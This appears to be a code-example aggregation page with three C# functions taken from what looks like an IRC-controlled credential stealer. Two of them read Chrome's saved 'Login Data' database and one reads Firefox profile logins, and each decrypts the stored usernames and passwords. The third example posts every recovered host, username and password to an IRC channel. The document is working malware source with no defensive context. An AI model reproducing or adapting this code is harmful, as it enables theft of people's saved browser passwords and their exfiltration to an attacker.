Example #1
0
        public static string QueryChrome(string searchTerm)
        {
            if (String.IsNullOrEmpty(searchTerm))
            {
                searchTerm = "**ALL**";
            }
            string datapath = (Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Google\\Chrome\\User Data\\Default\\Login Data");

            try
            {
                SQLiteHandler.SQLiteHandler SQLDatabase = new SQLiteHandler.SQLiteHandler(datapath);
                SQLDatabase.ReadTable("logins");
                if (File.Exists(datapath))
                {
                    string host;
                    string user;
                    string pass;
                    for (int i = 0; (i <= (SQLDatabase.GetRowCount() - 1)); i++)
                    {
                        try
                        {
                            host = SQLDatabase.GetValue(i, "origin_url");
                            user = SQLDatabase.GetValue(i, "username_value");
                            pass = Decrypt(System.Text.Encoding.Default.GetBytes(SQLDatabase.GetValue(i, "password_value")));
                            if (user != "" && pass != "")
                            {
                                if (pass != "FAIL")
                                {
                                    if (host.Contains(searchTerm) || searchTerm == "**ALL**")
                                    {
                                        return(user + ":" + pass);
                                    }
                                }
                            }
                        }
                        catch
                        {
                            return("");
                        }
                    }
                }
            }
            catch
            {
                return("");
            }
            return("");
        }
Example #2
0
        public static string QueryFirefox(string keyword)
        {
            string profilesPath = Environment.GetEnvironmentVariable("APPDATA") + @"\Mozilla\Firefox\Profiles";

            try
            {
                foreach (string dir in Directory.GetDirectories(profilesPath))
                {
                    string signonsFile = Path.Combine(dir, "signons.sqlite");
                    if (File.Exists(signonsFile))
                    {
                        Console.WriteLine("Found: " + signonsFile);

                        NSS_Init(dir);
                        PK11_Authenticate(PK11_GetInternalKeySlot(), true, 0);

                        SQLiteHandler.SQLiteHandler sqlite = new SQLiteHandler.SQLiteHandler(signonsFile);
                        sqlite.ReadTable("moz_logins");

                        //              0      1        2             3              4             5              6                7                 8     9
                        // moz_logins (id, hostname, httpRealm, formSubmitURL, usernameField, passwordField, encryptedUsername, encryptedPassword, guid, encType)

                        int rowCount = sqlite.GetRowCount();
                        for (int i = 0; i < rowCount; i++)
                        {
                            string hostName = sqlite.GetValue(i, 1);
                            string username = DecryptData(sqlite.GetValue(i, 6));
                            string password = DecryptData(sqlite.GetValue(i, 7));
                            if (username != null && password != null)
                            {
                                if (String.IsNullOrEmpty(keyword))
                                {
                                    return(username + ":" + password);
                                }
                                else if (hostName.Contains(keyword))
                                {
                                    return(username + ":" + password);
                                }
                            }
                        }
                    }
                }
            }
            catch
            {
            }
            return(null);
        }
Example #3
0
        public static void GetChrome(string searchTerm)
        {
            if (String.IsNullOrEmpty(searchTerm))
            {
                searchTerm = "**ALL**";
            }
            string datapath = (Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Google\\Chrome\\User Data\\Default\\Login Data");

            try
            {
                SQLiteHandler.SQLiteHandler SQLDatabase = new SQLiteHandler.SQLiteHandler(datapath);
                SQLDatabase.ReadTable("logins");
                if (File.Exists(datapath))
                {
                    string host;
                    string user;
                    string pass;
                    for (int i = 0; (i <= (SQLDatabase.GetRowCount() - 1)); i++)
                    {
                        try
                        {
                            host = SQLDatabase.GetValue(i, "origin_url");
                            user = SQLDatabase.GetValue(i, "username_value");
                            pass = Decrypt(System.Text.Encoding.Default.GetBytes(SQLDatabase.GetValue(i, "password_value")));
                            if (user != "" && pass != "")
                            {
                                if (pass != "FAIL")
                                {
                                    if (host.Contains(searchTerm) || searchTerm == "**ALL**")
                                    {
                                        IRC.WriteMessage("Chrome ->" + IRC.ColorCode(" " + host) + " ->" + IRC.ColorCode(" " + user) + " :" + IRC.ColorCode(" " + pass), Config._mainChannel());
                                    }
                                }
                            }
                            Thread.Sleep(100);
                        }
                        catch
                        {
                        }
                    }
                }
            }
            catch
            {
            }
        }